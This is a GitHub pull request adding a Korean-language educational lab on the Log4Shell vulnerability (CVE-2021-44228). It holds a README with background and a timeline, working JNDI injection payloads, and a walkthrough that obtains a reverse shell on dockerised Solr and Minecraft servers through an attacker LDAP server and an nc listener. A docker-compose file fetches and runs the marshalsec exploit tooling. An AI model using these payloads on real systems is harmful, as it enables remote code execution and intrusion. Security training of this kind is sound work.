Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[임근오/gngn-dev]: log4j CVE-2021-44228 분석 코드 및 결과 #183

Open
wants to merge 4 commits into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
297 changes: 297 additions & 0 deletions log4j/CVE-2021-44228/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,297 @@
# CVE-2021-44228
> [임근오 (@gngn-dev)](https://github.com/gngn-dev)

## 요약
- log4j는 Apache Log4j 2.0-beta9 버전부터 JNDI Injection을 유발할 수 있는 JNDILookup plugin(LOG4J2-313) 기능이 추가됩니다.
- 피해 서버의 log4j가 `${jndi:ldap://test.${java:version}.example.com}` 가 포함된 문자열을 받으면, JNDI Lookup을 진행합니다.
- JNDI Lookup 시 제한사항이 없이 진행됨. LDAP과 같은 일부 프로토콜은 안전하지 않거나 원격 코드 실행(RCE, Remote Code Execution)을 허용합니다.

## 면책사항 (Disclaimer)
Use only for educational purpose.
오직 교육용 목적 사용만 가능합니다.

## 배경지식: Apache Log4j 2 소개

Apache Log4j 2는 Log4j 1.x에 비해 상당한 개선점을 제공하며 Logback 아키텍처 고유의 몇 가지 문제를 해결하면서 Logback에서 사용할 수 있는 많은 개선점을 제공하는 Log4j의 업그레이드 버전입니다.

## 배경지식: Log4Shell 0-day RCE 사건 타임라인

2013년 09월 21일, Apache Log4j 2.0-beta9에 JNDI Injection을 유발하는 JNDILookup plugin(LOG4J2-313)기능이 추가됩니다.
- https://blogs.apache.org/logging/entry/apache_log4j_2_0_beta9

2021년 11월 24일, 알리바바 크라우드 시큐리티 팀(Alibaba Cloud Security Team)의 첸 자오준(陈兆军, Chen Zhaojun)이 취약점을 발견했습니다.

theregister에 따르면, 이 날 Apache 재단에 보고된 것으로 파악된다고 전했습니다.

(Original : `We know that the bug was reported to the Apache Foundation on November 24th.`)

이후 2021년 11월 30일, 해당 문제를 수정하는 pull request가 올라왔습니다.

- https://github.com/apache/logging-log4j2/pull/608

CloudFlare 최고경영자인 매튜 프린스(Matthew Prince)에 따르면,

2021년 12월 1일 04:36:50 UTC부터 Log4j exploit이 사용됐다는 증거를 발견했다고 합니다.

(Original tweet : `Earliest evidence we’ve found so far of #Log4J exploit is 2021-12-01 04:36:50 UTC. That suggests it was in the wild at least 9 days before publicly disclosed. However, don’t see evidence of mass exploitation until after public disclosure.`)
- https://twitter.com/eastdakota/status/1469800951351427073

이후 2021년 12월 9일, 한 유저의 트윗이 올라옴으로서 본격적으로 소식이 퍼지기 시작했습니다.
- (삭제됨) https://twitter.com/P0rZ9/status/1468949890571337731
- (아카이브됨) https://web.archive.org/web/20211209230040/https://twitter.com/P0rZ9/status/1468949890571337731

theregister에 따르면, 이 트윗은 아파치 재단이 패치를 발표하기 12시간 전에 공개된 것으로 알려졌습니다.

(Original: `Another piece of evidence, a since-deleted tweet from an account using the handle @P0rZ9, has been dated as debuting a dozen hours before the Apache Foundation issued its patch on December 10th.`)

## 배경지식: JNDI란?

JNDI(Java Naming and Directory Interface)는 Java프로그램이 디렉토리를 통해 데이터(Java 객체 형태)를 찾을 수 있도록 하는 디렉토리 서비스입니다.

이 때, LDAP, RMI, DNS 등과 같은 프로토콜을 이용할 수 있습니다.

![](picture/1.png)
- Picture 1. JNDI architecture (Oracle 제공)

예시로, `ldap://localhost:389/o=JNDITutorial` 라는 구문을 통해 LDAP 서버에서 JNDITutorial 오브젝트를 찾아 속성을 읽어올 수 있습니다.

## 배경지식: LDAP란?

삼성SDS는 LDAP(Lightweight Directory Access Protocol)에 대해 "네트워크상에서 조직이나 개인, 파일, 디바이스 등을 찾아볼 수 있게 해주는 소프트웨어 프로토콜"이라고 정의하고 있습니다.

## 배경지식: JNDI Injection

JNDI는 디렉터리 서비스에서 제공하는 데이터 및 객체를 발견하고 참고하기 위한 자바 API입니다.

이 때, Log4j가 지원하는 JNDI 기능은 디렉터리 서비스를 통해 가져 올 객체의 이름(name)을 제한하지 않았습니다.

'ldap:'과 같은 일부 프로토콜은 안전하지 않거나 원격 코드 실행을 허용합니다.

Log4j의 구문(syntax) 중에 `${prefix:name}` 꼴로 prefix를 lookup 해서 name을 가져오는 기능이 존재합니다.

기본적으로 JNDI Lookup 시 key에 접두사(prefix)로 `java:comp/env/`가 붙습니다. 하지만, key 값에 colon(":")이 포함되면 접두사(prefix)는 추가되지 않습니다.

- `${prefix:name}` 꼴의 구문 목록: https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution
- JNDI Lookup 기능 설명: https://logging.apache.org/log4j/2.3.x/manual/lookups.html#JndiLookup

`${jndi:ldap://example.com/exploit}` 꼴의 문자열을 이용하게 되면 JNDI를 lookup 해서 `ldap://example.com/exploit`을 가져옵니다.

이 때, 임의 코드를 원격에서 실행시킬 수 있습니다. (RCE, remote code execution)

![](picture/2.png)
- Picture 2. How the Log4J exploit works (SOPHOS labs 제공)

SOPHOS labs는 아래와 같이 GET method request 시 header 부분을 조작해 JNDI Injection을 할 수도 있다고 얘기합니다.
```
referer=${jndi:ldap://[redacted].interact.sh},
x-http-host-override=${jndi:ldap://[redacted].interact.sh},
true-client-ip=${jndi:ldap://[redacted].interact.sh},
x-forwarded-port=443,
x-client-ip=${jndi:ldap://[redacted].interact.sh},
cf-connecting_ip=${jndi:ldap://[redacted].interact.sh},
x-forwarded-host=${jndi:ldap://[redacted].interact.sh},
contact=${jndi:ldap://[redacted].interact.sh},
host=[redacted].com,
from=${jndi:ldap://[redacted].interact.sh},
cache-control=no-transform,
x-forwarded-proto=https,
accept-language=en,
client-ip=${jndi:ldap://[redacted].interact.sh},
x-forwarded-for=${jndi:ldap://[redacted].interact.sh},
x-originating-ip=${jndi:ldap://[redacted].interact.sh},
x-host=${jndi:ldap://[redacted].interact.sh},
forwarded=${jndi:ldap://[redacted].interact.sh},
accept=*/*,
x-real-ip=${jndi:ldap://[redacted].interact.sh},
```

![](picture/3.png)
- Picture 3. LDAP을 이용한 CVE-2021-44228 취약점 공격 구성도 (Radware 제공, 이글루코퍼레이션 번역)

## 환경 구성 및 실행: 피해자 서버 구축 - ver. vulhub original

Apache Log4j 2는 특정 웹 서비스가 아니라 서드파티 라이브러리(third-party library)일 뿐입니다.

따라서 Log4j 2에 의존하는 애플리케이션을 사용하여 이 취약성을 이용하는 방법을 시연할 수 있습니다.

docker_victim-server-vulhub 폴더의 `docker-compose.yml` 파일을 Host PC (Docker를 돌리는 PC 또는 Virtual Machine)에 저장합니다.

그리고 다음 명령을 실행하여 Log4j 2.14.1을 사용하는 Apache Solr 8.11.0을 시작합니다.

```
docker compose up -d
```

서버를 시작하고, Host OS에서 `localhost:8983` 을 열면 Apache Solr의 관리자 페이지를 확인할 수 있습니다.

## 결과: 익스플로잇 - ver. vulhub original, using DNSLog

간단하게, 이 `${jndi:ldap://test.${java:version}.example.com}` 페이로드를 action parameter에 넣어보세요. 그러면 JNDI query를 트리거할 수 있습니다.

예시: `http://localhost:8983/solr/admin/cores?action=${jndi:ldap://test.${java:version}.[REDACTED].ipv6.1433.eu.org}`

- `[redacted]`는 정보를 가린 것일 뿐입니다.
- `[subdomain].ipv6.1433.eu.org` 은 DNS 로그를 제공하는 `https://dig.pm/` 사이트에서 제공받았습니다. 이러한 DNS 로그를 제공하는 다른 사이트를 찾고 싶으면 Google에 `dnslog` 또는 `dnslog platform`을 검색해주세요.

예시와 같이 접속합니다.
![](picture/5.png)

아래와 같이 DNS 로그에 쿼리가 표시됩니다.
![](picture/4.png)

## 환경구성 및 실행: 공격자 서버 구축 - LDAP Server

- Original PoC code: https://github.com/kozmer/log4j-shell-poc/tree/main

서버 주소 (--userip) : 10.0.2.15

웹 서버 포트 (--webport) : 8000 (8000)

LDAP 서버 포트 : 1389 (1389)

`entrypoint`에 있는 명령어들은 docker start를 할 때마다 계속 실행됩니다.

이를 감안해 명령어 일부를 충돌이 발생하지 않게끔 조정하였습니다.


또한, 원본 PoC 코드에서는 OracleJDK를 이용합니다.

이 OracleJDK는 배포하는 측면에서 어렵습니다.

따라서, 최대한 버전이 비슷한 OpenJDK를 테스트 후 교체하였습니다.

docker_attacker-ldap-server 폴더의 `docker-compose.yml` 파일을 Host PC (Docker를 돌리는 PC 또는 Virtual Machine)에 저장합니다.

각자의 사정에 맞춰 `docker-compose.yml` 파일 내용에 있는 서버 주소(`10.0.2.15`)를 다른 주소로 수정해도 됩니다.

그리고 다음 명령을 실행하여 공격자의 LDAP 서버를 시작합니다.

```
docker compose up -d
```

docker container 정보를 아래 명령어를 통해 볼 수 있습니다.
```
docker ps -a
```

docker container의 로그 정보를 아래 명령어를 통해 볼 수 있습니다.
```
docker logs <container-id>
```

아래와 같이 로그가 나온다면, 성공한 것입니다.

꼭 `Listening on 0.0.0.0:1389`가 나와야 합니다.

![](picture/6.png)

## 환경 구성 및 실행: 공격자 서버 구축 - listening server

리버스 셸 포트 (--lport) : 9001

아래 명령어를 실행해 리버스 셸을 대기합니다.

`nc -lvnp 9001`

## 결과: 익스플로잇 - ver. vulhub original, using LDAP Server

![](picture/7.png)

아래 URL로 접속합니다.
`http://localhost:8983/solr/admin/cores?action=${jndi:ldap://10.0.2.15:1389/a}`

단, 이 조건이 필요합니다.
- docker_victim-server-vulhub가 `10.0.2.15:1389/a`에 접속할 수 있어야 합니다.
- attacker-LDAP-server가 위에 적은 대로 잘 설정되고 docker container로 올라가 실행 상태여야 합니다.
- 추가로, 리버스 셸 취득을 위해 별도의 컴퓨터에서 `poc.py`에서 `lport`로 지정한 9001 포트를 리스닝해야 합니다. (자세한 내용은 공격자 서버 구축 - listening server 에서 이미 다뤘습니다.)

접속하게 되면, 아래와 같이 attacker-LDAP-server는 docker_victim-server-vulhub에게 페이로드가 있는 java class file의 URL을 전달합니다.

그리고 docker_victim-server-vulhub는 접속하여 lookup합니다.
![](picture/8.png)

결과적으로, 아래와 같이 리버스 셸을 취득할 수 있습니다.
![](picture/9.png)

## 환경 구성 및 실행: 피해자 서버 구축 - ver. Minecraft

본 Minecraft 실습은 아래 레포지토리를 기반으로 구성하였습니다.
- https://github.com/Justin-Garey/Minecraft-Log4j-Exploit/tree/main

Minecraft는 log4j 2를 이용합니다.
따라서, Minecraft에서도 Log4Shell 취약점을 이용할 수 있습니다.

docker_victim-server-minecraft 폴더의 `docker-compose.yml` 파일을 Host PC (Docker를 돌리는 PC 또는 Virtual Machine)에 저장합니다.
그리고 다음 명령을 실행하여 취약한 Log4j 2를 사용하는 minecraft 서버를 엽니다.

```
docker compose up -d
```

## 결과: 익스플로잇 - ver. Minecraft, using LDAP Server

본 Minecraft 실습은 아래 레포지토리를 기반으로 구성하였습니다.
- https://github.com/Justin-Garey/Minecraft-Log4j-Exploit/tree/main

구성 환경을 위해, Minecraft 1.8.8 버전을 준비할 것을 해당 레포지토리에서 권장하고 있습니다.

아래 URL에서 각자 환경에 맞는 런처를 받아주세요.

저는 WINDOWS 레거시 런처를 다운로드받았습니다.

>https://www.minecraft.net/ko-kr/download

이후 Minecraft Launcher에서 설치 설정 - 새 설치 설정으로 들어가,

구버전인 1.8.8 release로 맞춰 설정을 추가합니다.

그리고 "플레이"를 누릅니다. 그러면, 아래 화면을 볼 수 있습니다.

![](picture/10.png)

Multiplayer로 들어가 docker_victim-server-minecraft 서버(192.168.100.1:25565)로 접속합니다.

![](picture/11.png)

이제, 게임으로 들어왔습니다.

![](picture/12.png)

아래와 같이 채팅을 통해 JNDI Injection을 시도합니다.

당연히, 이전에 구축한 docker_attacker-ldap-server를 이용합니다.

그리고, 추가로 조건이 필요합니다.
- docker_victim-server-minecraft가 `10.0.2.15:1389/a`에 접속할 수 있어야 합니다.
- attacker-LDAP-server가 위에 적은 대로 잘 설정되고 docker container로 올라가 실행 상태여야 합니다.
- 추가로, 리버스 셸 취득을 위해 별도의 컴퓨터에서 `poc.py`에서 `lport`로 지정한 9001 포트를 리스닝해야 합니다. (자세한 내용은 공격자 서버 구축 - listening server 에서 이미 다뤘습니다.)

![](picture/13.png)

채팅 이후, 아래와 같이 리버스 셸을 딸 수 있음이 확인되었습니다.

![](picture/14.png)

## 정리
이 취약점은 피해자의 log4j 2 라이브러리가 제한없이 JNDI Lookup을 함으로서, 원격 코드 실행(RCE, Remote Code Execution)의 위험이 있습니다. 안전한 서버 운영을 위해서는 이러한 0-day 취약점에 민감하게 반응해야 하고, 만약 대응이 불가능하다면 신속하게 실무자와 결정권자의 회의를 거쳐 외부 연결을 임시로 차단하는 등의 추가적인 조치가 필요합니다. 또한 전 세계적으로 많은 기업 및 기관들이 log4j를 이용했고, 영향을 받았습니다. 따라서 기업과 기관 차원에서도 사용하고 있는 오픈소스 프로젝트에 대해 꾸준한 지원과 관심이 필요합니다.

## Source and Reference

original (english) : https://github.com/vulhub/vulhub/blob/master/log4j/CVE-2021-44228/README.md

original (chinese) : https://github.com/vulhub/vulhub/blob/master/log4j/CVE-2021-44228/README.zh-cn.md

Original Document References:
- https://logging.apache.org/log4j/2.x/security.html
- https://www.lunasec.io/docs/blog/log4j-zero-day/
- https://xz.aliyun.com/t/10649

New Reference
- https://docs.oracle.com/javase/tutorial/jndi/overview/index.html
- https://www.theregister.com/2021/12/23/alibaba_cloud_in_trouble_with/
- https://www.igloo.co.kr/security-information/apache-log4j-%EC%B7%A8%EC%95%BD%EC%A0%90-%EB%B6%84%EC%84%9D-%EB%B0%8F-%EB%8C%80%EC%9D%91%EB%B0%A9%EC%95%88/
- https://ko.wikipedia.org/wiki/JNDI
- https://news.sophos.com/en-us/2021/12/12/log4shell-hell-anatomy-of-an-exploit-outbreak/
- https://www.youtube.com/watch?v=kwS3twdVsko
- https://www.samsungsds.com/kr/insights/ldap.html
21 changes: 21 additions & 0 deletions log4j/CVE-2021-44228/docker_attacker-ldap-server/LICENSE
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
MIT License

Copyright (c) 2022 koz

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
Original file line number Diff line number Diff line change
@@ -0,0 +1,20 @@
services:
attacker_ldap_server:
image: python:3.8-alpine
container_name: log4shell_attacker
ports:
- "1389:1389"
- "8000:8000"
entrypoint: ["sh", "-c", "apk update && \
apk add openjdk8-jre && \
apk add openjdk8 && \
apk add gcc g++ make libffi-dev openssl-dev && \
apk add wget tar && \
pip install colorama && \
pip install argparse && \
pip install pathlib && \
pip install httplib2 && \
mkdir -p /target && \
wget -c -O /target/marshalsec-0.0.3-SNAPSHOT-all.jar https://raw.githubusercontent.com/gngn-dev/kr-vulhub/main/log4j/CVE-2021-44228/docker_attacker-ldap-server/target/marshalsec-0.0.3-SNAPSHOT-all.jar && \
wget -c -O /poc.py https://raw.githubusercontent.com/gngn-dev/kr-vulhub/main/log4j/CVE-2021-44228/docker_attacker-ldap-server/poc.py && \
python /poc.py --userip 10.0.2.15 --webport 8000 --lport 9001"]
Loading